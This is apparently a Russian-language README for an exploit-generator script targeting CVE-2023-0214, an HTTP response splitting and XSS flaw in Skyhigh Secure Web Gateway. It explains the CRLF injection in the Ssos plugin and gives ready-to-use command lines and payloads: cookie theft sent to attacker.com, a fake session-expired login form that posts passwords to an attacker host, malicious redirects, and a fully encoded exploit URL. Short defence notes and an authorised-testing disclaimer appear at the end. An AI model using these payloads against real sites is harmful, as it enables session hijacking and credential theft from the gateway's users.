SWG Exploit Generator

██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝   ██║   ███████╗
████╔╝██║██╔═══╝    ██║   ╚════██║
╚██████╔╝██║        ██║   ███████║
 ╚═════╝ ╚═╝        ╚═╝   ╚══════╝

by 0PTS

Proof of Concept для уязвимости HTTP Response Splitting в Skyhigh Secure Web Gateway (ранее McAfee Web Gateway).

О уязвимости

Критическая уязвимость HTTP Response Splitting в Skyhigh Secure Web Gateway, позволяющая удалённо выполнять XSS атаки через инъекцию произвольного HTML/JavaScript кода.

Технические детали

Тип: HTTP Response Splitting / Cross-Site Scripting (XSS)
Опасность: Высокая
Вектор атаки: Удалённый, не требует аутентификации

Принцип работы эксплойта

Уязвимость находится в плагине "Ssos" (действие SetLoginToken), который неправильно обрабатывает URL параметры:

Параметр "p" → внедряется в P3P заголовок
Параметр "c" → внедряется в тело ответа
Параметр "v" → внедряется в cookie MwgSso

Так как символы новой строки (\r\n / %0d%0a) не экранируются, атакующий может:

Внедрить произвольные HTTP заголовки
Переопределить Content-Type и Content-Length
Внедрить произвольный HTML/JavaScript код

Браузер игнорирует остальное содержимое ответа после корректно сформированного Content-Length, что позволяет полностью подменить отображаемый контент.

Использование

Базовый запуск

python explot.py

С параметрами (как nmap)

# Базовый XSS
python explot.py -d example.com -p "<script>alert(document.domain)</script>"

# Редирект
python explot.py -d target.com -p '<meta http-equiv="refresh" content="0;url=https://evil.com/">'

# Фишинг форма
python explot.py -d bank.com -p '<form action="https://evil.com/steal"><input name="pass" placeholder="Password"><button>Login</button></form>'

# Только URL (тихий режим)
python explot.py -d example.com -p "<script>alert(1)</script>" -q

Параметры

-d, --domain    Целевой домен (по умолчанию: google.com)
-x, --prefix    URL префикс пути (по умолчанию: SWG internal path)
-p, --payload   HTML/JavaScript payload
-q, --quiet     Тихий режим - только URL
-v, --version   Версия скрипта
-h, --help      Справка

Примеры payload

XSS с кражей cookies

<script>fetch('https://attacker.com/log?c='+document.cookie)</script>

Фишинг форма

<html>
<body style="font-family:Arial">
<h2>Session Expired - Please Login Again</h2>
<form action="https://attacker.com/phish" method="POST">
<input type="text" name="user" placeholder="Username"><br>
<input type="password" name="pass" placeholder="Password"><br>
<button>Login</button>
</form>
</body>
</html>

Редирект на вредоносный сайт

<meta http-equiv="refresh" content="0;url=https://malicious-site.com/">

Демонстрация

██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝   ██║   ███████╗
████╔╝██║██╔═══╝    ██║   ╚════██║
╚██████╔╝██║        ██║   ███████║
 ╚═════╝ ╚═╝        ╚═╝   ╚══════╝

[+] Target Domain:   example.com
[+] Payload Length:  43 bytes
[+] URL Length:      234 chars

[+] Generated URL:

http://example.com/mwg-internal/de5fs23hu73ds/plugin?target=Ssos&action=SetLoginToken&v=1&c=1&p=p%0D%0AContent-Type%3A%20text%2Fhtml%3Bcharset%3Dutf-8%0D%0AContent-Length%3A%2043%0D%0A%0D%0A%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Защита

Обновите Skyhigh SWG до последней версии
Используйте WAF с фильтрацией CRLF инъекций
Мониторьте подозрительные запросы к /mwg-internal/*

Дисклеймер

⚠️ ВНИМАНИЕ: Этот инструмент предназначен исключительно для:

Авторизованного тестирования на проникновение
Образовательных целей
CTF соревнований
Исследований безопасности

Использование против систем без явного разрешения владельца является незаконным.

Источники

https://www.exploit-db.com/exploits/51237
Skyhigh Security Bulletins

██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝   ██║   ███████╗
████╔╝██║██╔═══╝    ██║   ╚════██║
╚██████╔╝██║        ██║   ███████║
 ╚═════╝ ╚═╝        ╚═╝   ╚══════╝

CVE-2023-0214

Популярное